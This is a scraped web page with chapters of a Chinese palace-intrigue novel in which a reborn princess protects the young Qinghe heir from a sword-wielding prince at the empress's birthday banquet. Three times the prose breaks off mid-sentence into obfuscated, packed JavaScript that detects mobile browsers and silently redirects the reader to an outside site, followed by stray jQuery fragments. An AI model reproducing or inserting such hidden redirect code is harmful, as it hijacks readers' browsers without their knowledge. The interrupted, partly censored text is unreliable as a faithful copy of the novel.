口舌怀刀兵,五脏藏城府。元韫浓这个人就是浑然天成的劫掠者。 他们本性相同,相近便是相克。 裴令仪这模样,元韫浓都快要拍手称好了。 刚开始想要利用她,被她揭穿了又质疑她想要从自己身上得到什么好处。 霜降皱眉,“你这人怎么这么不识好歹?我家郡主救了你,你却在这里怀疑动机?” “真是狗咬吕洞宾,不识好人心。”小满义愤填膺,“你身上有什么东西值得我家郡主惦记?” 裴令仪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476427|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧抿唇瓣,唇线绷直,一声不吭。 他看着元韫浓那双纤细白皙的手缓缓地收了回去,眼睛里掠过雪花般薄凉的水光。 “我只是觉得,你往后必有大为,早日结交善缘,留条后路罢了。”元韫浓给出了裴令仪最能接受的理由。 裴令仪愣了愣,“你觉得我日后大有所为?” 在这种时候,人人轻贱他如泥泞,元韫浓居然觉得他日后大有所为? 眼睛瞎了吗? 元韫浓道:“**,一遇风雨便化龙。你又何必自苦?” 裴令仪似有动摇。 “行了,我要去千秋宴了。此时没人盯着你,你回去吧。若是有人问起来,你便说是朝荣郡主让你走的,我自会向皇后请罪。”元韫浓说。 反正皇后向来不喜欢她,也不差这会了。 元韫浓说罢,便转身离去。 裴令仪凝视着她逐渐远去的背影,眼前开始朦胧。 这场大雪仿佛最终的归处是他的眼睛,苍凉且虚妄。 良久,他才自己支撑着自己,踉踉跄跄地走向自己的住所。 寒冷麻木了疼痛,拖拽着他日复一日,年复一年。 他一路走,留下一串脚印。 落雪愈发急,新雪覆旧雪,掩盖了足迹,仿佛他从未来过,也不该降生。 在这个宫墙一角,偏僻破落的宫殿,连最基本的避寒挡风都做不到,但却是他的容身之所。 清河王留下的侍卫裴七和裴九是唯二进宫留在裴令仪身边的人。 但因为身份特殊,他们多数时间都在暗处,很少离开这座废弃的宫殿。 裴七更为年长,他连忙上去扶住裴令仪,“世子!” “没事。”裴令仪摇了摇头,“裴九呢?” “他去打探消息了,今日千秋节,必然会有很多有用的信息情报。”裴七解释。 刚提起裴九,外头就传来一阵纷乱的脚步声。 裴令仪立即警惕地看过去,看到裴九神色仓皇地飞奔进来:“世子快逃!五皇子要杀你!” 朝外头张望过去,就看到为首的五皇子慕载物带着一群人,手持佩剑,气势汹汹闯进来。 吕世勋他们几个跟在后面,一路无阻。 “世子,来者不善,还是快些离开为好。”裴七向来不露面,只在暗中,立即隐匿入了阴影之中。 裴令仪知道这架势是无法善了了。 现在摆在眼前的就只有一条路,冲到殿前,告到御前,给所有人看。 无论后果如何,至少能保住一条命。 他当机立断就朝着窗口奔去。 慕载物一脚踏进门槛,提剑上前,“你还想往哪跑?” 他母族出身显赫,母亲又是贵妃,素来张扬跋扈。 “就是你们这群旧朝余孽,害**我舅舅!母后罚你跪在雪地里,你居然还敢搬救兵?”他追着裴令仪就砍。 裴令仪跳窗逃走。 慕载物勃然大怒,追了上去。 “裴清都!”他怒喊,“你不过是我慕南养的一条狗,怎敢背主?” 吕世勋一行人原本也想要跟上,却被裴九绊住了手脚。 寒风夹杂着雪粒往肺里灌,五脏六腑仿佛都火辣得疼,裴令仪只顾着拼了命地往前跑。 不然就算今日他当真命丧黄泉了,又会有多少人在意? 今日千秋节,宫中出入的贵人不在少数,宫人们正是周转忙碌。 来来往往的,这一路上都瞧见了慕载物提剑追着那清河王世子跑。 “这要拦吗?” “你疯了不成?谁敢去拦五皇子,我瞧着五皇子都快要气疯了,这时候去少不得被迁怒。” “可今日是在办千秋宴的,若是出了什么事,你我责无旁贷啊。” “五皇子追着那小子往哪去了?” “糟了!那位置就是往殿前冲了!” 侍卫们讲了两句,脸色大变,抬脚追了上去。 早已经来不及了,殿内正是一派其乐融融的景象。 朝臣命妇,宗亲显贵,皆依祖制、按官位,由尊至卑相对排开。 尊左卑右,侍者们则是低眉顺眼,躬身旁站,仔细服侍着,生怕在这种场面出了岔错。 第4章 观音应怜 皇后刚入座不久,皇帝还没到。 元韫浓悄悄摸回惠贞长公主身边,被惠贞长公主问了几句,嗔怪回来的慢。 “瞧你,从来不知仔细自己身子,小脸冰凉。”惠贞长公主摸了摸元韫浓的脸。 她正要关切几句,外头却一阵喧哗。 裴令仪冲进来的突兀,外边的侍卫一时间都没拦住。 随后冲进来的慕载物更是提着剑,双目赤红。 侍卫们跟在后面冲过来,引起了不小的骚乱。 裴令仪往前边躲,越前边的人身份越贵重,越能叫慕载物投鼠忌器。 “你还敢逃?你还敢躲?逆贼,我今日就取你首级祭奠舅父!”慕载物却早已经被冲昏了头脑,带倒了不少酒席。 贵客们被这突如其来的混乱打得猝不及防,更是乱成一片。 这一处的女眷们尖叫着避让,瓜果酒菜散落一地,杯碗碟盘也摔了个粉碎。 见慕载物提剑就砍,裴令仪忙侧身躲闪。 利剑擦着裴令仪的耳畔落下,将桌案劈成两半,木屑与碎瓷迸裂。 侍卫们不敢伤着慕载物,更不敢对慕载物刀兵以对,阻拦也束手束脚,并没有起到多大作用。 他们也并不在意五皇子会伤到裴令仪,只要不伤到贵客们就好。 见五皇子没有收手的意思,侍卫们也没有出手的意思。 裴令仪的心愈发跌落谷底。 “应怜!”“郡主!” 在所有人退却的时刻,唯独一人上前,逆着人群。 裴令仪在恍惚的视线里,踉跄着扑倒在那个人跟前,跪着摔进那个人怀里。 那人也伸出双手接住了他。 抱着纤瘦的腰肢,鼻尖萦绕着袖口淡淡的药苦。 裴令仪能感受到护着他的这个人压抑的怒火。 在这劫后余生的喧嚣里,裴令仪却诡异地得到了片刻的安宁。 生死一线的劲头稍缓,那些痛苦才一并涌上来。 寒冷、饥饿、疼痛,还有冻疮在温暖的殿中隐隐作痛的痒意。 他仰头看着元韫浓。 元韫浓眉目如画,一点鲜红的朱砂,抬眼目视前方,犹如观音面。 难道苍天算是怜他残命,许他应怜? 元韫浓挡在前面,而慕载物高举着剑在元韫浓头顶,要落不落。 她抬眼与慕载物对视,眼神冰冷,一言不发。 她没有任何动作,慕载物也没有,那把利剑僵硬地举在元韫浓头顶。 元韫浓冷笑:“不过如此。” 她抬手,袖袍轻扫,柔软的绸缎却轻而易举地挥落了慕载物手中的剑。 元韫浓将裴令仪掩在袖袍底下,护到了身后。 “我当以为五皇子是仗义行仁,为舅父报仇,不畏惧任何后果。如今一看,也不过如此。”她微微抬起下巴。 元韫浓半眯着眼睛,“你对弱小喊打喊杀,敢举剑相待,但对我却不敢吗?” “你!”慕载物嗫嚅着说不出话。 元韫浓说出他心中所想:“因为你知道杀了他顶多就是被罚禁闭,而杀了我就没法善了。” 她语速飞快:“因为你只敢对他下手,你只敢恃强凌弱,你只敢欺负他。因为你杀了他,他失怙失恃,无人替他申冤鸣不平。因为我父亲是岐国公,我母亲是惠贞长公主,我兄长是中郎将。而我,是陛下亲封的朝荣郡主,他的亲外甥女,皇室的宗亲。” “因为我出身煊赫,天潢贵胄,所以你不敢杀我。”元韫浓嗤笑。 慕载物手都在哆嗦,“元应怜,你住嘴!” “那你敢吗?你敢动手吗?”元韫浓却上前一步,冲着他仰起脖颈,步步紧逼。 他当然不敢。 若是真杀了元韫浓,先不提大好前程毁于一旦,他能不能保住皇子这身份都不好说。 他虽是惠帝喜爱的儿子,但这么多年宫里宫外也能看得出来,惠帝对于惠贞长公主这个姐姐可谓是相当偏心了。 更何况元氏一族也不是吃素的。 慕载物不自觉弱了气势,后退了一步。 手里的剑“哐当”掉在地上。 裴令仪深深地凝视着元韫浓,眸光澹澹。 皇后终于缓过了神,一掌拍在桌案上站了起来,“放肆!统统给本宫住口!” 慕载物自觉犯了大错,脸色一白,跪了下来。 元韫浓面不改色地转身朝皇后行礼,“娘娘恕罪,五皇子在宫中持剑**,扰乱娘娘千秋宴。朝荣唯恐他伤人,情急之下才口不择言。” “你的意思是全是我的错了?”慕载物怒道。 “难道不是吗?”元韫浓凉嗖嗖地斜睨他一眼。 不是慕载物的错,难道还是她的错了? 慕载物正欲反驳,皇后拍案而起,“都闭嘴!” 好坏全让元韫浓给说了,还师出有名。 皇后一口气憋在胸口,不上不下。 她不喜欢与自己三皇子有明显竞争的五皇子,不喜欢贵妃。 可她更厌恶元韫浓和惠贞长公主。 原本天赐这大好机会,刚好把这些她不喜欢的人一并铲除了,可偏偏元韫浓一下子就把她发作的借口消了大半。 如若她再过多为难元韫浓,倒是显得她不是了。 维持了贤惠大方的假面这么多年,总不能因为个元韫浓把多年心血都给毁了,显得自己不可理喻。 “好、好、好!”皇后气得胸闷,转向了惠贞长公主,“惠贞,看看你教出来的好女儿!” 元韫浓看向母亲,被母亲瞪了一眼。 她有些心虚,知道母亲责怪她在这时候不顾安危多管闲事,还惹祸上身。 惠贞长公主面不改色,“皇后谬赞,我倒也觉得,应怜甚是聪慧,不耗一兵一卒,仅凭口舌便能止风波。” 皇后被这母女俩的姿态险些气倒。 这才是她最讨厌惠贞长公主和元韫浓的地方。 在贵妃和五皇子面前,她永远是皇后,是母后。 但在惠贞长公主和元韫浓面前,她却是弟妹,是舅母。 皇帝与长公主一母同胞,关系亲厚,倒显得她这个嫡妻像个外人。 “朝荣,无论如何,你目无尊卑,口出狂言,是以当罚!”皇后怒不可遏。 元韫浓微微蹙眉,姿态楚楚可怜,似乎是真于心不忍,“朝荣甘愿受罚,只是清河王世子可怜,遭受了无妄之灾,娘娘可得为他做主啊。” 裴令仪看了元韫浓一眼,配合地跪伏在地上,咬着苍白的唇颤抖。 “五皇子本宫自然也要罚。”皇后当然也不会落下慕载物,“但你也罪不可免。” 慕载物忿忿不平地瞪元韫浓。 原本该各打五十大板,但偏偏这时候有人站了出来。 沈川从席间走出,行礼跪地,“皇后娘娘,臣以为不可。” 皇后眉心一跳,咬着牙问:“你以为如何?” “朝荣郡主事出有因,虽言语失当,但却情有可原。此事错在五皇子,怎可迁怒于郡主?”沈川跪得笔直,身姿挺拔,神情刚正。 元韫浓望向他,垂眸轻笑。 沈川还真是一如既往的君子争礼。 这一幕也落在裴令仪眼底,他探究地顺着元韫浓的目光看向沈川。 席间有人小声说道:“韫浓表妹也没做错什么,是五弟自己……” 那声音越来越小。 皇后猛的朝着那个声音看过去,怒火攻心,“淑慎!有你什么事?” 慕水妃闭上了嘴巴,低着头不说话。 但瞧着依然有些不甘心,往元韫浓和裴令仪那里瞟了好几眼,似是担忧。 皇后正要发作,哪料席间走出一人,跪在沈川身边。 是三皇子慕湖舟。 “母后息怒,韫浓表妹能制止五弟犯下大错,乃是善事。”慕湖舟说道。 他同沈川是好友,人以群分,也是端正之人。 同样,也是裴令仪讨厌的人。 “好好好,你们都好得很!”皇后气道。 自己亲儿子跳出来替外人说话。 他们这么一出,显得皇后里外不是人,不辨是非,刚愎自用。 事已至此,皇后只能打碎牙往肚里咽,“行了,都起来吧,像什么样子?都回座上去。” 她总不能当着众人的面贬斥自己亲儿子。 尤其是这太子未定是谁的时候。 元韫浓长舒了一口气,悄悄看向沈川。 沈川也正看着她,和她对视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476428|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后朝她安抚地笑了笑。 元韫浓回以一笑。 “至于你,清河王世子,本宫罚你思过,怎么没好好待着?”皇后只能挑个软柿子。 元韫浓微笑:“娘娘宅心仁厚,必然不忍心叫世子在雪地里冻着,想来也只是做做样子,叫他长个记性。” 还不等皇后说什么,裴令仪就先跪在了地上,“多谢娘娘体恤。” 都被抬到这了,皇后咬着牙转向了慕载物,“五皇子犯下大错,便交由陛下处置。” “皇后千秋宴,有何事是需要朕来处置的?”外头传来一道声音。 伴随着宦官尖锐的通报声:“陛下驾到——” 在场的纷纷起身行礼。 岐国公和元彻回跟随惠帝左右,一同入内。 看到元韫浓和五皇子一块站在中央,旁边还跪着个裴令仪,目露惊讶。 “这是怎么了?湖舟、应怜和载物都在这,清河王世子也在这。”惠帝入座。 岐国公和元彻回也入座。 岐国公用目光询问惠贞长公主,惠贞长公主摇了摇头。 戏还得再演一遍,元韫浓心底厌烦。 对于惠帝这个便宜舅舅,元韫浓心里也提不起太大的好感。 惠帝这个皇帝做得是非不分,只想着内斗和集中皇权,或是如何折磨前朝遗民。 斗又斗不明白,贪图享受。 若非是南朝前两代的累积和巩固,早就灭国了。 要不是惠贞长公主的缘故,还有自己这朝荣郡主的身份,元家的立场,前世裴令仪推翻惠帝,元韫浓第一个叫好。 如今周边小国虎视眈眈,再不思进取,变法图强,迟早局势危如累卵。 惠帝枕戈待旦,底下朝臣也上行下效,终日闭门酣歌,醉生梦死。 满座官员多是些尸位素餐,蝇营狗苟之辈。 裴令仪后面称帝,虽然非议多,史官言官口诛笔伐,但于平民百姓而言却是拍手称快的好事一桩。 若是说惠帝疼爱她……也不然。 元韫浓知道惠帝明面上无限偏袒她和惠贞长公主,但也不知道其中实情。 难道是为着跟惠贞长公主的同胞姐弟之情吗?元韫浓对此存疑。 因为惠帝总是疯疯癫癫的。 但臣民不可能说他疯了,只能说他暴躁。 元韫浓和惠帝单独相处时这种感觉更胜一筹,惠帝看她的眼神总让她毛骨悚然。 惠贞长公主在时,这种感觉才会稍弱许多。 最重要的是,她隐约记得惠帝在她小时候想要掐死她。 可她又想不到惠帝要杀她的任何理由。 她是惠帝的亲外甥女,身份上又没有任何能威胁皇权的地方,惠帝有什么理由要杀她? 再加上她是多病多梦之人,她只能觉得那只是一场梦。 可直觉上,她依然无法亲近惠帝,甚至于是嫌恶。 本能的厌恶和逻辑上理应的亲切来回撕扯着元韫浓,但本能还是占据上风。 不过如今戏台子都搭好了,她必须演下去。 “陛下明鉴,五皇子不由分说,持剑入殿就是追着清河王世子**,甚至几次险些伤到母亲与韫浓。”元韫浓眉间一蹙,含泪跪下。 她的身姿摇摇欲坠,旁边的慕湖舟下意识搀扶了她一把。 她咬着唇垂泪,“今日是娘娘千秋,五皇子此举是全然不将嫡母放在心里,也全然不将律法放在眼里啊。” 反正她和慕载物这梁子是实打实结下了,人都得罪**,这会她也不在乎得罪多得罪少了。 不趁此机会落井下石,还待何时? 裴令仪自始至终跪伏在地上,装作可怜样降低自己的存在感,抽空悄无声息地瞟了一眼旁边的元韫浓。 元韫浓伶牙俐齿,才思敏捷,三言两语就把慕载物往地上踩,还将自己放在受害位置。 慕湖舟见她眼泪欲落不落,我见犹怜。 “表妹莫急。”他低声安慰。 元韫浓递给他一个感激的眼神。 挺好一表哥,就是前世也没斗过裴令仪。 “父皇!你别听她信口胡诌!”慕载物怒道。 惠帝看向慕载物,“那你来说说,这是怎么一回事?” 第5章 自罚 慕载物刚刚被气昏了头脑,但也不是傻的。 这会若是说他是替舅舅报仇,那不就是应了元韫浓说的那些话吗? 于是他“扑通”一声跪伏在地上:“父皇明鉴!” 他避重就轻道:“清河王世子不但殴打官吏之子,还口无遮拦,居然敢不满于父皇决策,辱骂父皇!这是不将父皇,不将我南朝放在眼里啊!儿臣是实在气不过,才鲁莽之下酿就大错!” 这话可说到惠帝心里去了。 他本就绞尽脑汁想着怎么处置前朝遗民,清河王一脉原本的正统更是他的眼中钉肉中刺。 几代过去,多少年过去了,还有声音说他们慕南一族是篡位上台,逆臣贼子。 好不容易拔除了清河王,却还留了个裴令仪,叫他不好大动干戈一并除去。 还得留着个清河王世子的头衔在裴令仪头上,放在眼皮子底下盯着。 元韫浓和慕载物的小打小闹他并不放在心上,恼火的是慕载物让他丢了脸。 但引起这段**的裴令仪,倒是让他愈发嫌恶了。 “哦?可有此事?”惠帝问道。 “陛下明鉴,臣绝无此心!”裴令仪伏在地上,头都没有抬起来一下。 “是五皇子信口雌黄。”事已至此,元韫浓这会是必须要做这个正义之士了。 若是保不下裴令仪,那今天她不但白干还得罪了皇后,又和慕载物撕破了脸,岂不是亏大了。 慕载物连殴打官吏之子都编出来了,也真是有够不要脸的,到底是谁在欺负谁? 她咬了咬牙,道:“清河王世子身份特殊,五皇子在千秋节时对其喊打喊杀,嘴上称之为替舅父报仇,现在又说是为父平怒,前言不搭后语,自相矛盾。嘴上堂而皇之,实则只为一己之私。” “在这个节骨眼上行此事,岂不是叫天下子民笑话我南朝?要朝荣来说,五皇子行为存疑,其心可诛!”元韫浓说。 她这是在提醒惠帝,裴令仪身份特殊。 私底下磋磨也就算了,若是拿到明面上还这样,不但史册上要写他不仁不义,民间也会不满。 毕竟**叛乱的前朝余孽还能算师出有名,可裴令仪还是个半大的孩子。 而且说到底,清河王才是曾经的正统,是慕氏先祖从裴氏那里抢来的皇位。 元韫浓无视慕载物看过来的刻毒目光。 好了好了,反正这下是跟慕载物不死不休了。 怕是他们身后的家族都是彻底的对立面了。 原本因为元氏隐隐倾向于慕湖舟,而和慕载物的母族张氏暗中不对付。 现在好了,她都站出来当面跟慕载物撕了。 这下两家是彻头彻尾的死敌了。 元韫浓向来以柔弱示人,少有如此强硬的时刻。 沈川颇为诧异地看了一眼元韫浓,以为她是心地善良,心怀正义。 “陛下,朝荣郡主所言句句属实,还望陛下明察。”沈川跪地道,“若是今日罚了世子,岂不是叫前人寒心。” 元韫浓悄悄瞟了一眼沈川,暗自摇头。 沈大哥啊沈大哥,说话还是一如既往的刚直不阿,不乐意绕弯子。 也难怪不招惠帝待见,更被裴令仪不喜。 若不是因为身为慕水妃的夫婿,她又一直拦着裴令仪,不然只怕早就被裴令仪砍了八百回了。 但裴令仪也照旧不待见沈川。 慕水妃也小声地补了一句:“确实是五弟出手伤人在先。” 慕湖舟也道:“还请父皇明察。” “父皇!”慕载物急道。 元韫浓也喊道:“阿舅!” 谁不会喊似的?元韫浓暗自翻了个白眼。 惠帝稍显犹疑。 元韫浓所说的那些话是不假的。 惠帝本就多疑,上下扫视了慕载物,愈发疑心他是有取代君父的意思。 惠贞长公主不轻不重道:“小五身为皇嗣,着实不够体面了。这到底是皇后生辰,持剑闯入,满嘴杀戮,惊扰了贵客。还是小三年少老成,有陛下昔日风范。” “姑母谬赞。”慕湖舟向惠贞长公主作揖。 惠帝不免勃然大怒,道:“老五,看看自己像什么样子?你母后生辰,你居然持剑闯入,喊打喊杀?” 他只字不提裴令仪的事情。 元韫浓知道这件事情怕是要揭过了,松了口气。 她本就没指望惠帝会为了裴令仪做什么,只要不罚裴令仪就够了。 “滚去你母妃那里禁足半年,这半年里吃斋茹素,潜心悔改。”惠帝道。 慕载物本就是惠帝喜爱的儿子,养在张贵妃膝下。 这惩罚不痛不痒,甚至可以说是极其偏袒了。 但慕载物从小到大都没吃过这样的亏,用怨毒的眼神瞪了一眼元韫浓和裴令仪。 事已至此,元韫浓也没什么好怕的了。 于是便回敬了一个不屑的眼神。 皇后的视线扫了过来,在皇后开口之前,元韫浓先上前一步,跪在地上。 “朝荣情急之下口不择言,虽事出有因,但也有错在先。所以自请去祠堂罚跪两个月,向列祖列宗悔过。”元韫浓道,“先跪太庙,再跪元氏祠堂。” 反正到时候装晕就行了。 按理来说是不必跪太庙的,但她既然说了太庙,又显她宗亲身份,又显她诚心悔过。 在惠帝面前,就该更把自己身份往宗亲这靠,而不是世家那贴才对。 毕竟她身份特殊,是皇族和世家结合的**产物。 她这一说,把皇后想要说的话硬生生堵在了喉咙里。 现在话吐不出来,却也咽不回去,皇后胸口起伏两下,气得胸闷气短。 元韫浓这以退为进,还给博得一个良善识大体的好名头,反倒是叫她不好发作了。 “韫浓表妹自幼体弱,如今又是寒冬腊月里,两个月是否太为难表妹了?”慕湖舟看着元韫浓苍白的脸庞,微微蹙眉,“还请父皇酌情宽恕。” 皇后更是气得呕血。 元韫浓自请受罚,让她无处发挥,已经很让她窝火了。 都这样了,她这好儿子还替元韫浓求情。 惠帝倒也没想让元韫浓受什么重罚,摆了摆手道:“朝荣体弱,是该酌情体谅。罚跪太庙七日,清早寒凉,便每日从未时到酉时吧。” 从两个月缩水到七天,还只下午两个时辰。 那还罚什么罚? 反倒是长了元韫浓的脸面,显得她地位超然于皇子了! 皇后再恼恨,但惠帝心意已决,她也只能在此时装出大度模样。 “如此也好。”她皮笑肉不笑道。 元韫浓立即垂着眼睛做出泫然欲泣状,柔柔弱弱道:“朝荣多谢陛下娘娘体恤。” “好了,皇后千秋,得多高兴些才是。”惠帝这才转过头对皇后道。 皇后此时哪里还高兴得起来,只能强撑着笑脸点头。 宴席上还是一番其乐融融的假象,裴令仪早就悄无声息地离开,不在惠帝面前晃悠。 元韫浓坐在席间,接受四面八方时不时传来的打量和审视。 她泰然自若,仿佛没有觉察到那些视线一样,安安静静地吃着东西。 其中最直接的视线必然是慕载物**般的目光了。 元韫浓甚至还抬起头看过去,对他微微一笑。 这如同挑衅般的举动更是让慕载物气得半死。 回去之后,元韫浓才接受父兄的询问,她打了个马虎眼糊弄过去了。 元蕴英在旁冷笑:“你知道你添了多大的麻烦吗?张氏必然替五皇子报复元氏。” “行了,我们岐国公府也不怕他们的。”岐国公皱了皱眉,“事已至此,别再多怪,左右我们本就不支持五皇子。” 元彻回道:“三皇子既是中宫嫡出,行止有度,皇后和张贵妃又素来不合,不妨转向三皇子?” 元云和看似对此非常赞同:“三皇子为人正直,对父亲和夫人也是尊敬,不失为良主。” 岐国公却若有所思:“这趟浑水,我们元家能不淌便不淌,暂且观望着吧。” 元韫浓低着头。 跟前世一样,兄姐们支持慕湖舟,但父亲却更偏向中立,是保皇党。 “罢了,应怜今日受惊了。”元彻回摇了摇头,叹息着看向元韫浓,“明日还要去太庙领罚, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476429|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日便早些休息吧。 元蕴英冷哼一声:“自讨苦吃。” “蕴英。”元彻回皱眉念了一句。 元蕴英别过了头。 “明日为父会提前替你打点好,能少吃点苦,便少吃点苦。”岐国公拍了拍元韫浓的肩膀。 “多谢父亲。”元韫浓姿态柔弱。 岐国公点了点头,“今日便都早些休息吧。” 一群人正要散去,惠贞长公主却道:“应怜,你先随我来,我有话同你说。” 元韫浓暗叹一声。 该来的还是躲不掉,母亲可没父兄好糊弄。 果不其然,惠贞长公主是从头到尾问了每一个细节。 得亏元韫浓从小就爱说瞎话,硬是编了个合理的借口出来,惠贞长公主还是将信将疑。 她似有忧虑,反复叹气:“即使如此,往后还是离那清河王世子远些为妙。一来是他身份微妙,再者便是他身上总有股鬼气,为娘觉得他邪气得很。” 裴令仪面色苍白,眉眼却冶艳,但眼睛却乌黑得浓极了。 那种艳色掩藏在冷色下,显得裴令仪像是艳鬼。 或许是漂亮,可绝不会是长辈们喜欢的面相。 元韫浓欲言又止。 阿娘啊,你是不知道他最后当了皇帝的啊。 那时候就没人敢说那是邪气了,都说是龙气。 她想了个借口:“他以后也是要袭爵的,我看他根骨好,来日入朝为官,也许是我元氏一大助力呢?” 惠贞长公主看着元韫浓,最终幽幽地叹息一声:“应怜,你该知道,这个元府,只有你我母女二人才自始至终是一线的。” 元韫浓愣了愣。 “我并非你父亲原配,你也不是你父亲第一个孩子。支撑我们的,是皇族宗亲的身份。我同你父亲,也是**联姻。”惠贞长公主道。 惠贞长公主从前并没有跟元韫浓说过这些,但她所做的,整个元府所表示出来的,就是这个意思。 可元韫浓是重生而来的人,她见过兄姊待她的真心。 但人心是复杂的,前世与外而言他们到底是一家子,是血脉相连的兄妹。 没有外力的时候,他们也会从一而终吗? 惠贞长公主旧事重提:“当年在你之前,我怀过另一个孩子。但你二姐受她生母留下的奶嬷嬷挑唆,素来对我敌视,也疑心我生下的孩子会取代他们的位置。” 元韫浓之前也有所耳闻,在她之前,父母亲也孕育过另一个孩子,只是后面意外流产了。 母亲也因此伤了身子,后面也是好不容易才怀了体弱多病的她,之后再无所出。 “这不是意外吗?”元韫浓突然间有些胆寒。 “是意外,你二姐意外撞到了我,我摔下台阶流产。”惠贞长公主没什么表情。 元韫浓第一次听说这件事情。 难怪即使惠贞长公主和元蕴英不睦,但元蕴英面对长公主时似乎总是心虚回避。 “那真的是一个意外吗?”元韫浓问。 惠贞长公主说:“你二姐撞到我的确是意外,但我流产却不是。” 不是意外流产,那又是谁的示意?谁的首肯? 元韫浓一时无言:“……阿娘。” 她隐约意识到这后面不为人知的秘辛藏了多少龌龊和诡谲。 像是纸糊的窗户被捅破了一个小口,外边浓重的夜色就从这个小孔里漫了进来。 “有些事情不要去问,只管自己快活就好。人生在世不称意之事何其之多,活在当下。”惠贞长公主笑了笑,爱怜地摸了摸元韫浓的头发,“我的应怜想要什么,阿娘都会给你拿来。” 元韫浓张了张嘴。 理智告诉她,这时候打破砂锅问到底绝不是一件好事。 有些事情,这么稀里糊涂过去也就算了。 可她重活一世知道了这件事情的始初……啊……她是为了什么来着? 为了沈川吗? 可像她这样自私薄凉之人,真的这么在意沈川吗? 惠贞长公主柔声道:“夜色已晚,早些回去睡吧,明日还得进宫呢。” 元韫浓深深地看了一眼母亲,“是。” 第6章 舞阳儿 次日用了午膳,元韫浓还得去太庙跪着。 惠贞长公主同元韫浓一块进的宫。 元韫浓去太庙跪着,惠贞长公主去惠帝那闲聊,待到寅时结束了再同元韫浓一块回府。 “若是受不住了,便装晕。母亲今日进宫,便是为了接应你。”临行前惠贞长公主摸了摸元韫浓的脸。 “韫浓知道。”元韫浓心下感动。 她之所以是这想要什么就非得得到的性子,除了身世显赫以外,其中也不乏惠贞长公主的溺爱。 哪怕是天大的篓子,惠贞长公主都能补上了。 元韫浓同母亲分别,进了太庙。 霜降和小满则是在太庙外边守候。 没人盯着元韫浓,元韫浓自然不可能老实跪着。 挑挑拣拣那些贡品,挑了点自己喜爱的糕点果子,坐在蒲团上慢悠悠地吃起来。 就是没有茶水,有些干。 “阿姊当真是不信神佛,不敬鬼神。”一道声音突兀地响起。 元韫浓愣了愣,看着阴影里走出来的裴令仪。 “你是怎么进来的?”元韫浓下意识看向外边。 外边既有守卫,又有霜降和小满在,裴令仪居然还能混进来。 裴令仪顿了顿,“我提前了一个时辰混进来的。” 想到裴令仪自己会武,而且身边还有裴七裴九在,元韫浓了然。 想起要拗正裴令仪性子的计划,元韫浓苦口婆心道:“以后少做这种偷鸡摸狗之事,君子行事,当光明正大。” “那阿姊行事,光明正大吗?”裴令仪反问道。 光明正大这四个字,元韫浓还真够不上,她耍的小手段小心机,裴令仪都是知道的。 但元韫浓向来我是他非:“我可以,你不行。” “为何不可?为了保命,有何不可?”裴令仪垂下眼帘。 元韫浓沉默了片刻。 仓廪实而知礼节,衣食足而知荣辱。 裴令仪自幼生活环境就恶劣成那样,一路摸爬滚打,一步一个血印才成了帝王。 好日子没过几天就油尽灯枯,这么一想属实是惨。 裴令仪只有不择手段才能活下去。 元韫浓不能要求他摒弃他所有可能生存下去的手段和机会,来记住礼义廉耻,来做一个君子。 毕竟裴令仪不是沈川,也不是慕湖舟。 元韫浓道:“我若是耍了手段能护得住你,你便可行端坐正了。” 裴令仪看向元韫浓,半晌,又道:“昨日阿姊救我于水火,我当重谢阿姊。” 元韫浓摆了摆手,“不必多谢,你如今身上也没什么可回报我的,多想着自己些。” 裴令仪抿了抿唇,“我如今是没什么可回报于阿姊的,阿姊要我做什么,我都会去做。” “你只要试着做个君子,好好活下来即可。”元韫浓拍了拍身边的蒲团,示意裴令仪坐下。 她昨日确实是大为火光,前世裴令仪好歹是她夫君,又是高高在上的帝王。 如今一朝回到尚未成长的时候,这令人磋磨的模样,看得元韫浓心中恼火。 慕载物又算是什么东西?竟然敢如此对裴令仪。 她分了点糕点果子给裴令仪,“吃吧。” 裴令仪没有拒绝,握在手里,小口吃了起来。 元韫浓笑他:“说我不敬鬼神,也不见得你多敬重。” 裴令仪睫毛颤抖了一下,“我信的。” “嗯?”元韫浓有些诧异。 前世裴令仪不拜鬼神,偏偏在身体出现问题那会开始大兴土木,建设帝陵。 元韫浓还嘲笑他不敬鬼神,不信神佛,犯下口业意业无数,杀孽太重,偏偏得了病开始建帝陵了。 裴令仪一声不吭地造好了帝陵,还给元韫浓留了个位置。 元韫浓还当着他的面发誓绝不会和他合于一坟。 尽管元韫浓觉得,既然她没有提,那么在她死后,后人也必然会将她与裴令仪合葬。 所以元韫浓认为裴令仪是不信这些的,或许只是在意生死罢了。 没想到裴令仪居然信。 “曾经信过的,后来不信了,现在又信了。”裴令仪道。 元韫浓笑了,“还真是善变。” 